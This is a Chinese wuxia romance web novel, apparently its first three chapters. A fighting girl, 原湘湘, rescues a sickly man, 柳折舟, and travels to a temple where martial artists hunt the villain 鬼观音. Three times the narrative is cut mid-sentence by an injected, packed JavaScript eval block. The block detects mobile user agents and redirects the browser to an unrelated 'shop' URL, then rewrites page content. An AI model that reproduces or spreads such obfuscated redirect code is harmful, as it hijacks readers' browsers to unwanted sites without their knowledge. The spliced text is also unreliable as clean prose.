《与病美人互扒马甲后》 1. 清月夜故人重逢不相识 清夜疏影,月光凛冽,冷气袭人。 通往天台山的小道上涌来一阵澎湃的马蹄声,循声望去,一名红衣少女正驾着骏马在月夜下狂奔。 她面容冷硬,凛冽的红衣在寒风中张扬,犹如经霜不倒的旗帜,凌乱的发丝贴在她的颊边,隐隐露出那双刀刃一般锐利的眼睛。 她紧盯着前方,拉紧长弓,突然少女眼瞳大张,右手猛松,两道黑影从她手间瞬间消失,嘹然有穿云裂石之声。 前方某处的黑暗中响起两声哀嚎。 “什么人!竟然暗中伤人?有胆出来和你爷爷单挑!”粗暴的骂喝从黑暗里爆开。 很快,便有一男子从黑暗中现出高大威猛的身形来,他一身单薄粗衣,手持一柄铜环大刀,一见便知是落魄山贼草寇。 “我看你是活腻了,小姑娘。”青须环眼的男人双手抱胸,朝着对面的红衣少女露出恶心的微笑,“胆敢从我们飞刀帮手底下抢人,你到底知不知道我们可是从喝过观音血的人。” “我爷爷早就过世了。”声音如同山间流云般,不紧不慢地浮动。 月色下,缓缓现出一抹伶俐诡异的俏红,而后两条蓬松柔软的束花双辫映着月光飘荡开来——来人是一个清瘦冷漠的红衣少女。 那少女身形好似山间云雾般飘渺灵动,巴掌大般的小脸略微圆润,一身红衣犹如五月榴花燃火,端的是轻灵秀美,可那双眼睛却如同出水寒刃般凛冽,泛着浓烈的寒气。 她轻轻一跃便来到众人面前,清冷的双眸迅速锁定地上躺着的一具尸体。 她指着那具尸体冷冷冷道:“你们杀了不该杀的人。” “说什么呢,臭丫头!你知不知道,断人财路犹如杀人父母!而且你还杀了我两个弟兄!” “可你们不是喝了观音血吗?”少女依旧声音浅淡,那双青灰色双眸如同利刃一般从对面男人身一层层刮过。 她又扫视了一眼地上两个方才被她射死的人。 “我……我们都是观音信徒,我们当然喝过观音血!你杀了我们兄弟,鬼观音一定会喝干你的血!”男人控制不住发起抖来! 对面那个红衣的冷面少女身上带着一种说不清道不明的神秘意味!单是眼神,就足以让他遍体生寒。 更何况,方才就是她在数里之外射杀了自己两名兄弟! “噢。”少女淡淡道,“巧了,我正好找鬼观音有事。” 说罢,她就径直走向马车旁的那具尸体,被杀的是个可怜的马夫。 “别动我的钱!” 她刚刚弯下腰便听身后男人急忙大喝,冷风擦过耳际,少女凭空现出两手,辗转推挪间只听得“咣啷”一声,大刀赫然落地。 那个男人企图从背后偷袭没成功。 “你……你为什么不杀我?”男人自知敌不过少女,他刚刚受了少女一掌,此刻浑身疼痛难忍,冷汗直流。 “那不是你的钱,以及,方才只有你没有殴打这个车夫。”少女面无表情地捡起车夫散落在地上的遗物放到他的尸体旁,而后又慢慢从怀中掏出自己的钱袋扔给了那个男人,“你走吧,以后别喝假血了。否则,多少钱都不够骗的。” “你!”男人瘫坐在地上愤愤道。 他被人揭穿谎言,心中不免生出几分歹念来。 少女当即长臂一挥,长鞭弯如蛇影,掠过那个草寇的鼻尖,将他的鼻梁擦出数条血痕来。 “带着那十九两银子走吧。”她慢慢转过身,指着马车说,“车里人的性命我买下来了。” “是是是,姑奶奶!”那草寇千恩万谢,连滚带爬地逃了。 观音血?喝了能长生不死?哪儿来那么好的事。 “你现在可以出来了。”少女对着马车轻声慢语。 她眼前的这辆马车精致华丽,车身上还有不少彩绘雕镂。寒风过处,甚至闻得见车内的淡淡香气。 原湘湘料定车中是个富贵人家的小姐。 不多时,车厢的帘子被一柄扇子悄无声息地挑了开来,从里面缓缓爬出一个惨白的人形,映着月光,伸出一只骨节分明的长手。 “姑……娘,当真好本领!唔——咳!!”话还没说完,那个白色的人形便吐了一滩血,精准异常地洒在车前横木外的一尺之地。 她闻声凝视,见一个约莫弱冠出头的年轻男子半倚在车厢外。 那白衣公子虽眉头微皱容色不佳,却仍旧风姿不减,好似覆雪青竹,清俊疏朗,大有公子只应见画,定非尘土间人之质。 一时之间,四周恍若寂静,她的脸上却像是开了染坊一般变化多彩。从意外,到大喜,到疑惑,再到黯然……最后面无表情。 “在下柳不归,敢问姑娘名姓?”白衣男子稍稍挪动了一下位置,顺势朝着红衣少女看过去,俯身又吐出好大一滩血。 她道:“你这名字好假。” 虽说她初次踏入江湖,可也不是失了智。不归不归,欲寻归处,无处可归,谁家父母会给孩子起这样一个晦气名字? “你不信?”男子轻声问,言语间竟有些委屈。 “你……是不是女扮男装?”原湘湘不想搭理他,径直反问。 不得不承认,见到这人第一眼时,原湘湘是难以置信的,可是当这人开口时,又的确是个男人在说话,她瞬间就萎了。 但是,望着那张脸……她还是忍不住好奇。 身随心动,一道白光劈过,年轻男子隐约感觉腹中阵阵闷痛。 柳折舟稍稍往下一看,原湘湘已经安然站定,她正死死地盯着柳折舟,刀刃般凛冽的青灰色目光,那双利眸似乎非要在他的脸上剜出两个血窟窿来。 “哇啊啊啊——!”他忽然心头血气翻涌,脚下不稳,血便一口喷了出来。 原湘湘因为站在他的面前,那一口血兜头浇在了她的脸上。 “……柳折舟”他愧疚万分地低头看着眼前变成血人也依旧面不改色的少女,痛苦解释着,“在下柳折舟,字行远,家住京畿外十里城东,在京中文殊院任职;亲族单薄,二十有四尚未娶亲,此去是为治病……” 霎那间,白光又闪,柳折舟的腰带尽落,衣领散开,他面前的血人伸出细瘦的两手,抓起一团雪白衣衫慢慢擦拭着脸上血迹。 原湘湘不动声色道:“你要去哪里?——果真是男人。 ” 显然,她言语之间不免有些失落,但反而一点怒意也没有。 柳折舟低头望着胸前的白衣变血衣,又想到那姑娘失落的声音,他的脸上不禁缤纷变化起来。 “天台……寺。”柳折舟轻抚胸口顺气,“滴水之恩当涌泉相报,以后折舟的一切就听从姑娘差遣啦。姑娘去哪里,折舟便去哪里。” 柳折舟趁空赶紧整理衣服。 “我为何非要同你一起呢。” 柳折舟一时之间竟然也不知该如何作答,他怔怔立在原地,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685472|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里还揪着衣领,就像路边一只被遗弃的小兽一般,煞是可怜。 原湘湘看似淡淡瞟了他一眼,目光却已在他的脸上流连片刻。 她转身就道:“记着,你还欠我十九两银子。” 说罢,她寻了一处阔地,掏出短刀就地挖了起来。 柳折舟闻言欣然上车,他右腿曲起,左腿垂放,右手又置于右膝上平展着,就这样自在坐在横木上静静看着原湘湘。 “真是一柄好刀呐,恐怕当世也难寻其二。”柳折舟兀自感慨着。 刀刃迎光,灼灼耀眼,湘湘不言不语,只是一味地挖坑。 “进来。”许久之后,她头也不抬地慢慢从坑底站起,刀刃指着那个坑,里面一片白茫茫,似乎盛满了月光。 原先在横木上假寐的柳折舟登时苏醒,他晃晃悠悠地搬起那个马夫的尸体放进坑里,随后自己也气喘吁吁地躺了进去。 一根颀长的染血白绫曲折在盛满月光的土坑里,与死人为伴。 “今日若不是遇见姑娘,便就形枯骸朽,此处埋我。” 原湘湘终于抬眼看他了,瞥见他那一脸毫无生气的死相,她突然气不打一处来,道:“没人埋你,也没地埋你。” “也是,没人埋,但有人买。”柳折舟倒也不气,他起身拍拍灰尘出来和原湘湘一同葬了那个马夫。 临行前,她还听见柳折舟在坟前叽叽咕咕一堆她听不懂的话。 这一路上,她的心绪颇为不宁。 世上会有这么巧合的事?她伸手拍拍自己的脸。 空旷的夜里回响着匆忙的马蹄声,原湘湘听见车厢里传来不安分的声音,便问:“你怎么了?” 声音停顿了片刻才听里面人说话:“在换衣服,刚刚染了一身。” “噢。” 柳折舟话音才落,衣服也正脱到半处,只听“唔呀”一声响,一颗人头的脖子像井边打水用的轱辘一样随意伸进了车厢。 “你……究竟是男?是女?”飘头进来的人头峭楞楞如鬼一般,两只铜铃般大的眼正细细瞄着他裸露的上身。 她还是对这张脸,对这个人的性别没死心。 柳折舟正在换衣,没曾想到会有人偷看,一时之间又羞又慌又惊又急,脸上红白交替好不热闹,稀里糊涂地自抱自泣胡言乱语:“君子非礼勿视,非礼勿听,非礼勿言,非礼勿动,矜而不争,群而不党,于仁也柔,于义也刚,天地玄黄,宇宙洪荒,日月盈昃,辰宿列张,不思量,自难忘——” 一声枯长的呜咽戛然而止。 “你到底还是男的。”伸进来的头听也听了,看也看了,似乎不太满意。 “呃……”柳折舟羞红了脸,方才气血攻心,又要涌出一口血,他只好艰难地憋了回去,忍辱负重道,“……自然是男子。” “噢。”原湘湘意味深长地瘪瘪嘴,又“骨碌碌”地缩了回去,“你长得好像一个人。” “我?”车厢里的柳折舟不忍疑惑,“我能像谁?” “像鬼观音。”原湘湘的语气平淡如水。 马车外原湘湘这样平淡无奇道,就好像在说今日吃了什么饭菜一般。 月夜森森,寒气凛人。 原湘湘一向想到哪里说到哪里,毫无顾忌。 可是车厢里那个病弱不堪的柳折舟此刻却面色如冰,温和好看的眼眸如同深不见底的潭水一般,与之前清俊柔雅的气度直接判若两人。 2. 小茶馆暴起护观音反被护 二月初三,奉国寺山脚下。 高阳照林间,偶有几声鸟鸣趁着车马人流散落开来,不远处是一间茶馆,面积虽不大,来往客人却是络绎不绝。 茶馆外边一方小桌旁正歇着一男一女。 那男的约莫二十多岁,一袭白衣胜雪,身披月白银丝毛皮大氅,眉目间温和尽生;女的则一身红衣,束花双辫垂在脑后,正襟危坐,面色罕见的冷静平淡。 只见他们二人已在此处静坐一个多时辰了,这二人实在诡异,一个手无缚鸡之力的病弱公子加一个瘦小的黄毛丫头,迟迟不肯离去定然有诈。 周围有几桌江湖人士显然也对这二人起了警惕之心。 五日前,鬼观音夜袭奉国寺,欲强夺孤鸿剑,但她终究不敌奉国寺方丈和两位长老的联手,最终大败落逃。 此一战后,奉国寺玄同长老命丧她手,方丈与众多寺中弟子也身负重伤。如今江湖上都知妖女毁三年之约,先下手为强,与她何谈江湖道义? 定要人人杀而快之! “鬼观音怎么还不死?” 小茶馆里平地一声惊雷,惊得众人心如擂鼓。 “谁能杀得了她……这样下去……往后还不知有多少无辜性命要遭她毒手!” “往日,一十六门上上下下两百多条人命,只一夜……被她屠了个干净!若不是她那相好的及时赶到,这一十六门怕是连个种都没留下!呵——” “哪止这些啊!这世上还有没有天理?老天开眼赶紧让她去死了吧!” 那大汉火冒三丈,一掌拍下,木桌顿时四分五裂,吓得刚进来添茶的小二在旁瑟瑟发抖,冷汗如浆。 “不论是非曲直,不论有无仇怨,但凡眼前有人,她就要杀人饮血!‘鬼观音’?真是辱了‘观音’二字!明明长了一张菩萨般的脸,却生了一颗比恶鬼还恶的心!” 鬼观音何人?乃是当世武林第一人。 据传此人倾国倾城色,恶鬼修罗心,艳影能破红尘,一笑天下为之乱。 但实际上她一直通身白衣,幕篱遮面,根本没人见过鬼观音的真正长相。 她为求天下第一,不走正道,拜前朝大太监霍洋为师,尽修炼吃人喝血的功夫,最后喝干了自己师父的血,助她练功。 “那……到底该如何是好?她如此厉害,我们此番前来……岂不是又要平白送了性命?”旁边一个褐色衣衫的男人瑟瑟道。 “她练了大太监的邪功,虽然武功厉害,可是不得见光,也没有像太监那样长生。”一片喧哗之中,有人直接道破鬼观音的弱点。 “鬼观音练的那门邪功必须要喝人血,如果有人喝了她的血就能得到她的功力。当年她就是靠的这招‘移花接木’,吸干了不少高手的血才得以傲世群雄。” 此话一出,茶馆猛然瞬间沉寂,寂寂然似旷野荒墓,警觉猛长。 也不知过了多久,才有一人幽幽道:“那她一定要得到孤鸿剑,恐怕就是为了找到邪功的攻克方法,得到了剑鞘和宝剑,找到了灵帝墓,就能真正永生不死……也能不再惧怕天光。” 鬼剑孤鸿,剑意阴邪,削铁如泥,杀人不见血,能助人修为大涨,也能让持剑者心绪大乱,走火入魔; 而散落的三分孤鸿剑鞘更是盛传其中藏有前朝灵帝秘宝的地图。 天下皆知,前朝灵帝得西天长生天天女眷顾,灵帝饮下天女手中净水,永生不死。 前朝覆灭时,得见一只白鸟自皇宫中飞起,而后天边泛起紫色极光,灵帝不现,天女返仙。 而那灵帝墓则是一座不知何处的皇族衣冠冢,据说,里面留有能让人飞升的天女净水和灵帝血。 大太监霍洋曾是灵帝身边的大红人。 先前拍桌的壮汉运起掌劲,手中的陶土被子即刻化为齑粉:“那就杀了她!杀了她,我们再毁了剑!把这祸害人的邪术全都毁了!前朝时,也不知多少人被这邪术害得家破人亡!” “说得对!我们人多势众,不怕杀不了她!” “区区修罗恶鬼,今遭我们便送她去菩萨那里认罪!” “这世上还能没了天理不成?怎能让恶鬼横行人间?” 可是这场声势浩大的口诛笔伐还未持续半刻,凭空一声炸响,众人当场僵住,待缓过神来时,才见一满身红绿交加的双辫少女与一青衫少年正各持武器对峙着。 “你再说一遍?”周身红艳如火的少女怒喝一声,她的眼神似乎要把拍桌的壮汉盯出两个血窟窿来,“你再说一遍杀了她试试?” 原湘湘收劲,手中的长鞭紧紧咬住青衫少年的长剑,青衫少年也不退让,二人势均力敌,久久不肯退让。 她坐在这里已久,终究还是坐不住了。 而那一鞭一剑之下正好瘫坐着刚刚那个壮汉,汉子口中呃呃呜呜说不出话,牙齿打颤,冷汗顺着鬓角流下,俨然被吓得不轻。 “不气不气。”青衫少年平静一笑:“还有几日才到三年之约的日子,姑娘莫要心急坏了江湖规矩,就在此处大打出手,免得让人多想。” 众人对鬼观音虽都企图杀之而后快,可是传承自灵帝血脉而来的观音血,能让人功力大增且不老不死,谁人敢说不动心?谁人敢说不眼红? 当然是有人想要鬼观音死,也有人想要天下第一,长生不死。 要是没喝到观音血,就先死了鬼观音,谁负得起这个责任? 周围人一听,心中便也了然,大汉出言不逊,红衣少女心急起了杀意。 原湘湘也不言语,只是直勾勾看着对面来人,不知是不是那直勾勾的眼神,青衫少年悄然间飞红了脸。 他很不好意思地偏过头。 就在场中众人尴尬之际,原湘湘突然后背一凉,她顿时抽刀而去,刀锋所指之处—— 只听一个温柔朗润的声音突然在她背后惊起:“打扰了打扰了诸位,我师妹年纪小不懂事,还请各路大侠多多包涵,有什么麻烦尽管来找我这师兄。” 煞红的背后陡然现出一张惨白的脸,阴森森的。那白脸身量颀长,长相俊雅柔和,身着一件月白银丝毛皮大氅,对襟大袖,风雅至极。 众人皆不知这病弱男子何时出现,又是何时握住了刺向红衣少女的长剑,只能顺着长剑看过去,长剑的主人是个伶俐娇美的粉衣少女。 “峨眉山代掌门苏叶在此,岂能容你坏了规矩!”苏叶被人拦了剑,暗中抽剑却又不得动,心中怒火更盛,她自是没料到这个病弱男子力气这般大。 “苏掌门……咳咳!” 柳折舟病态委实太重,还没出口几句,便“哇”地吐出好大一口血,他一边吐着血赔礼道歉,一边安抚着他口中那个“不懂事”的师妹。 众人他这般虚弱病态,也不好再寻他们师兄妹麻烦,只当是两个怪人罢了,苏叶被身边另一女子领了开去,临了她还一脸不情不愿。 青衫少年名为裴玉珠,生着一张天然可亲的娃娃脸,他见对面病弱男子已先行道歉,便撤了剑势,向那姑娘拱手道:“姑娘好身法,玉珠期待试剑大会和姑娘一教高下的时候。” 经此一闹,众人心中也更了然:此番定是来了不少不知底细之人,若想顺利杀死鬼观音拿到孤鸿剑,恐怕……比登天都难! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685473|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况还有人觊觎着活生生的观音血! 在场哪一个不是冲着孤鸿剑和鬼观音来的? 原湘湘收了武器,默默走到柳折舟身旁。 他本来就弱不禁风,刚刚又为原湘湘拦下一剑,现下手里嘴里都淌着血,模样甚惨。 原湘湘坐在凳子上,人虽定了下来,可她仍旧怒火中烧:怎能……这些人竟让当着自己的面说出如此是非不分的浑话来! 气在头上,脑袋也晕晕乎乎的,但她突然却浑身微微轻松了下来,一股好闻的香气伴着后背一阵轻轻柔柔感觉,让她的烦躁瞬间烟消云散。 原湘湘一记眼刀飞过去,正好对上柳折舟那张笑吟吟的脸。 “没事了没事了,原姑娘消消火。”方才柳折舟就拢着她的肩坐到了茶馆外,“原姑娘一直大人有大量,肚里能撑大~船,从不和那些人计较。” “你才那么大肚子。”她忍不住反驳,脸色也好看了不少。 “好好好,是我~”柳折舟依旧笑意盈盈。 其实她心知肚明,就是因为自己武功不行,否则她绝不会给那些人说第二句脏话的机会。 想到此处,原湘湘眼中的神采默默黯淡下来。 她决心,无论如何,一定要拜鬼观音为师,只有这样才能长长久久地留在鬼观音身边,长长久久的。 不过,眼前还有一件事是要做。原湘湘从随身的挎包里拿出干净的白布和药,三两下便帮柳折舟处理好了伤口。 原湘湘没想到伤口比想象中的浅得多,柳折舟的双手掌心就划破了一层皮。 可是只破了一层皮,那个出血量正常吗?她不禁疑惑。 柳折舟抬眼望了望,手中的纸扇便覆上了前额,正午的闷热让那双温润如水的眼睛瞬时就黯淡了下来。 他又转头看向身旁的原湘湘,无声地翘起嘴角,眉头轻抬。 “你很不舒服他们说的话?”说话间,他已四指撑开了洒金白纸扇,将脸递了过去,细碎的阳光洒在他的脸上,下颌变成一条明亮且温柔的线。 “嗯。” 少女沉声答道。 那人俯身过来的瞬间有一股异常好闻的味道涌进她的鼻腔,惹得她立即绷紧了后背。 片刻后,他“啪”地一声合起了扇子,眉头高高抬起,很是讶异少女竟然回答地如此直接利落。 折扇又无声打开,一个精致的芙蓉花扇坠在两人间摇来晃去。 扇子挡在两张脸中间,原湘湘轻轻抬眸,只能从扇柄的缝隙里看见一个柳折舟清晰分明的下颌。 “那你也是来夺剑的?”原湘湘望着他,目光凛凛,丝毫都不顾忌有些话是不能直接说的,从而显得有些缺管子。 “原姑娘哪儿的话。”他压低声音说话时,水红色的唇像兔子吃草似的,有种说不出来的娇俏,“就凭我这副身子骨?” 原湘湘见状忍不住眉头松下。 “你不想要?”原湘湘一双杏眼半睁半闭,眼神清澈却也幽邃,青灰色的眼瞳犹如寒锋出水一般冷冽。 “我是来治病的,”柳折舟不停地摇着纸扇,眉头紧皱,吊着一口气横在喉间,似乎下一刻就要咯出血来,“方丈……以前为我治过伤。” 最后一句话,他说的又轻又小,鸿毛似的落水无痕。 “鬼观音曾经是我的救命恩人。”原湘湘面不改色地学着他的样子,不过她的声音更轻更小。 “我说的是真的。”柳折舟两腮一鼓,折扇一收,嘟嘟囔囔道,“为什么就没人相信我和天台寺方丈是故交呢?” “我说的也是真的。”她气定神闲地抿了一口茶。 3. 护国寺折水沉舟观音无慈悲 昔朝高山,横卧百里,巍峨千尺,烟涛茫茫。 后有帝王见此间乃是集聚天地灵气的风水宝地,便大兴土木,于山间主峰建禅寺一座,禅寺横于山巅,居高临下,终年岚烟飘渺,恍若瑶池仙境,故名“天台寺”。 香火袅袅,缘来众生。 寺中缘觉崖上有一前朝遗留的十二层高的飞檐阆天塔,每层各缀金铃,里面雕栏画栋,甚是美丽,塔内供奉着一尊琉璃佛,佛身高大巍峨,玲珑剔透,佛手持金玉莲花一朵,结与愿印。 新朝立国礼成后,改名“奉国寺”。 欲往奉国寺中,须得走完蜿蜒曲折的山路,再行一千一百级大理石台阶,才得见禅寺山门。 这一千一百级石阶全是人力依山而凿,整齐划一。 原湘湘见那石阶干净整齐,抬头便能望见飘渺云烟中隐约若现的庙宇,心下大喜,便不自觉加快了脚步。 只是还未走出片刻她便觉得不太对劲儿:这周围也太安静了些。 她往回看,果不其然,柳折舟不见了。 正犹豫着要不要回头找人时,只见从下方台阶处飘出一颗惨白的人头,那人头额上沁着汗,口里喘着气,脸色惨白无比,可那两片薄唇却红得诡异,嘴角挂着一丝未干的血迹。 “原……原姑娘……”他伸手去够原湘湘,似乎颤颤巍巍快要倒了下来。 原湘湘脚比眼快,跃身至柳折舟的身边,伸手扶着他。 “啊——!!”柳折舟一口气还没喘过来,便又一口血吐了出来。 原湘湘不得已将他搀扶到旁边的石块上坐着歇息,又拿出帕子和水递给他。 柳折舟接过帕子和水也不动,只是紧闭着双目痛苦地喘息着。 原湘湘看他现在的样子就跟那将死之人的最后一口气一模一样,出气多进气少。 此刻正是白日,山间偶有微风浮掠,尚不寒冷。 “你怎么样了?”她幽幽问道。 “……无事……”柳折舟忽而声调突转,沉沉道,“带着我……你很不好走吧。” “嗯。”原湘湘点头应声。 柳折舟闻言立刻不喘了,只是愣愣看着她。 许是发现了他的尴尬,原湘湘又慢吞吞道:“也没有很不好走,其实……我可以背着你。” 其实,原湘湘觉得自己还是很细心体贴的,虽然经常被师父骂三心二意三天打鱼两天晒网朝三暮四吃着碗里的看着锅里的。 “原姑娘客气了,看来柳某确实是个负累。” “确实如此。” 柳折舟眼前一黑,又是一口气上不来了,直在原地痛苦地小喘着。 原湘湘注意到他左眼眉头下的眼窝处有颗褐色的小痣,那颗痣极小,非得离得近,否则看不见。 小痣随着他皱起的眉头在她眼前来回晃悠。 他们前方有两人身负长剑,皆着青白色衣衫,二人一高一矮,一前一后。 个头稍矮的那人快步在前,步伐凌厉清冷;另一高个儿跟在后面,其人脸面端正团圆,蔼然可亲,是个瘦高的少年。 听到了原湘湘和柳折舟争执的声音,他们都不约而同地转过头。 原湘湘知道他们是谁。 好巧不巧,就是此前在茶馆里起争执就是原湘湘和那个高个儿少年,很快那二人就回头向原、柳二人走来。 “这位仁兄,”个子稍矮的男子上前询问道,“我见你身体虚弱异常,若是有需要,可让我师弟背你上山。” “正是如此!”那个高瘦的少年突然跳出来,眼睛不住地盯着原湘湘看,“不久前我们刚刚见过,当真有缘!” “有……有劳二位了。”柳折舟哑着声音回道,“我这师妹天生瘦小羸弱,实在是累了她一路了。” 说话间他便扶着额,双目紧闭,身形微微晃动,嘴中念念有词:“师妹我不行了,师妹我不行了不行了……” 原湘湘一时无语。 “小玉,你动作轻一点。”稍矮的男子叮嘱道。 裴玉珠豁然一笑:“大师兄你还不放心我吗?” 说罢,他挎起柳折舟横在背上便要走,背后传来原湘湘尴尬的道谢:“多谢二位了。” 裴玉珠一回头,笑意更盛:“不谢~” 柳折舟趴在别人背上便没了声息,既不咳嗽也不吐血了。 原湘湘迈步跟在后面,只见那大师兄走到她面前,轻道:“在下李源知,青城派弟子,那位是我师弟裴玉珠,敢问姑娘名姓?” “我叫原湘湘,那位是我……师兄柳折舟。”她突然惊讶自己竟然也被传染了某个人的厚颜无耻并且还能熟练运用。 “敢问姑娘师从何方高人?”李源知追问道,“此前茶馆一面,便觉姑娘身手不凡,可出手招式又十分新奇。” 原湘湘目光一凛。 裴玉珠看见原湘湘脸色不悦,便赶紧喊道:“哎呀,大师兄这有什么好问的嘛,这两天来奉国寺能干什么?师承何处有那么重要嘛?大家不都是冲着鬼观音来的?你说是吧,师兄?还有原姑娘?” “这倒也是,是我唐突姑娘了。”李源知赔了个不轻不重的礼,“不过,我与小师弟此番前来奉国寺并不是为了夺剑或者观音血,我们是为了报仇。” “报仇?”原湘湘心头一紧。 李源知缓缓说道:“报那十一六门的血仇。” 周围山高树深,凛凛有寒意,四周鸦雀无声,裴玉珠感觉到自己后背上的人似乎闷闷咳了一声。 ——紧接着“扑咚”一下,裴玉珠慌忙惊叫:“原姑娘师兄!!” 柳折舟球儿似的顺着石阶往下滚,裴玉珠和原湘湘一同跳下台阶去追,待原湘湘拦住他时,他双目紧闭,满身鲜血淋漓。 裴玉珠见柳折舟满身是血,心里又慌又急,不住地道歉赔罪:“原姑娘,我对不住你!我不是故意的,就是不知怎么……好像自己抽筋了一样,对不住对不住!有什么需要我做的,原姑娘您尽管开口!我真的不是故意的!” “你师兄如何?”李源知也过来了,歉疚道,“都是我们不好,原姑娘,小玉可能最近舟车劳顿体内真气不稳,不若……就换我来。” “师兄我也不知道怎么回事,就突然这样了。”裴玉珠还在奋力解释,“原姑娘我……真的不是故意的。” 原湘湘见他们师兄二人诚挚道歉,觉得如果不同意,反而不近人情了,她正欲开口答应,却感觉有什么在顶自己的袖子。 像什么呢?她以为这半山腰哪里来的兔子在蹭她的手。 不消多想,原湘湘余光一瞥,就看见柳折舟的一根食指抵着她的胳膊肘,左摇右晃的。 虽然不知道他到底在打什么主意,但原湘湘知道,在外人眼中,他们“师兄妹”俩才是一条心的。 她拱手道:“多谢李师兄,裴少侠好意!我师兄已经给二位添了不少麻烦,剩下的一点路程就不麻烦二位了。” 说完,原湘湘背起柳折舟拔腿就跑。 至少,在裴玉珠眼中是这样的,原湘湘拔腿就跑,裴玉珠欲哭无泪。 李源知望着那师兄妹俩离去的背影若有所思。 原湘湘背着柳折舟一路跑到大门前,甫一站定,门口的僧人们便一边问候,一边接过原湘湘背后的血人。 “小僧澄明,二位施主请跟小僧来。”灰色僧衣的青年僧人似乎也被满身鲜血的柳折舟吓得不轻,“这位男施主外伤很重,需要尽快医治。” 山上风割得人脸生疼,远山外,只有寺里钟声在响。 柳折舟被安排在东厢房,此处距离大殿稍远,更靠近后山,人少僻静。 原湘湘喊他出来吃晚饭,行至门前抬手敲门,可屋子里无人回应。 她立在门外又敲了数次,仍旧无人回应,最后只得小心翼翼地推开那扇半掩着的房门。 迎面就看见床前的屏风上搭着柳折舟入寺时的血衣,洒金白纸扇被放在一旁的案几上,芙蓉花扇坠耷拉着,昏黄的烛光将影子拉得细长。 里面似乎有水轻轻滴落的细微声响,一股血腥味扑鼻而来,原湘湘不由分说登时冲了进去,看到里面时,她就像被人兜头泼了一盆冰水,手脚冰凉。 屏风后的地上一片潮湿,木桶里仰面泡着一具惨白而又细长的身体。 那熟悉而又分明的轮廓和五官,化成灰她都认识,湘湘心里一空,有种莫名的恐惧涌上心头。 血水如花一般怒放着,缓缓招摇着,黑发又似墨一般化在血水里,烛影夜飘摇,莲花美人头,人与血,正顺着满溢的水微微溢动。 “柳折舟……你怎么了!”原湘湘也顾不得什么男女有别,冲上去把柳折舟从血水桶里捞出来。 原湘湘手起手落间便撕下一块床幔揉作一团,吹燃火折子便扔到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685474|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了床幔上,掌风一起,火便燃了起来,与此同时,长鞭破风之声响起,屋内唯一一盏烛火悄悄灭了。 趁着黑,她三两下扒光了柳折舟身上的湿衣,而后又旋了被子裹在柳折舟身上,将他稳稳地靠在床边,随后点了几处穴道。 片刻后,柳折舟只是僵硬着呕出几口血水。 柳折舟紧闭双眼,没有任何反应,他的皮肤泛着青白色,血水顺着他的发丝不住往下流。 昏暗的灯光下,任凭原湘湘摆弄的他倒像一株被秋雨摧残过的芙蓉花。 许是顾及到地上燃火不妙,她又很快掏空了铜火炉里的湿炭,将那燃着的床幔放进去烧着,又把火炉推近床边。 原湘湘朝火炉那边靠了靠,为了捞柳折舟她自己也全身湿透,此时正冻得瑟瑟发抖。 隔着炉火,她面无表情地看着柳折舟,眼里映着跳跃的火焰,发丝往下滴着水。 屋外风声萧萧,枯枝乱撞,屋内只有这一点明火,四周皆是黑暗。 她看着柳折舟,颤抖着伸出自己的手,慢慢地,她冰凉的指尖贴到了柳折舟鼻下。 此事无关其他,只是不忍见死。 早春夜寒,古刹幽静,奉国寺栖卧于高大的天台山里,山里终年翠岚环绕,宛如世外桃源。 寺里庙宇连绵,松烟常燃,大殿里的金身佛像微微垂目,于缕缕烟岚中可见其庄穆之相,慈悯之意。 前几日山中落了雪,此时仍有苍松翠竹落白,地面上也有不少未化的残冰。 不远处,有疾驰的脚步声传来,那声音踩碎残冰,踏破烛火,愈来愈盛,越来愈快,甚是急不可耐。 几个东厢还未就寝的江湖人只见一个红衣少女背着个不省人事的男子快步朝寺庙药庐方向跑去,不待他们反应,便有人提剑推门跟了上去。 “鬼观音,是鬼观音!她又来杀人了!”院中有人大喊道,“诸位带好武器,不要单独行动!” 很快,东厢,西厢相继亮起了灯,不少人选择聚在一起以保性命周全,也有一些人带了武器,跟在原湘湘后面,一路来到了药庐。 哐! 药庐门突然向两边弹开,里面人只见一个面色凝重的少女背着个男子,那少女进屋直接将男子放在床上,便道:“快,快看看他……” 她吃力地咽了几下干唾,嗓中如同刀片割喉一般痛苦:“请诸位师傅看看他!” 澄明原本正在给方丈配药,他被开门声打断,便迅速回头。 他赶忙上前道:“施主莫慌,这就让小僧看看。” 原来是她。下午刚到的那位女施主,他记得当时她的师兄只是皮外伤。 澄明话音才落,身后又砰砰响起一阵破门声,好几位江湖人士也跟了上来,其中一人上前道:“澄明师傅,他……还活着吗?” “待小僧看看。” “有劳师傅。” 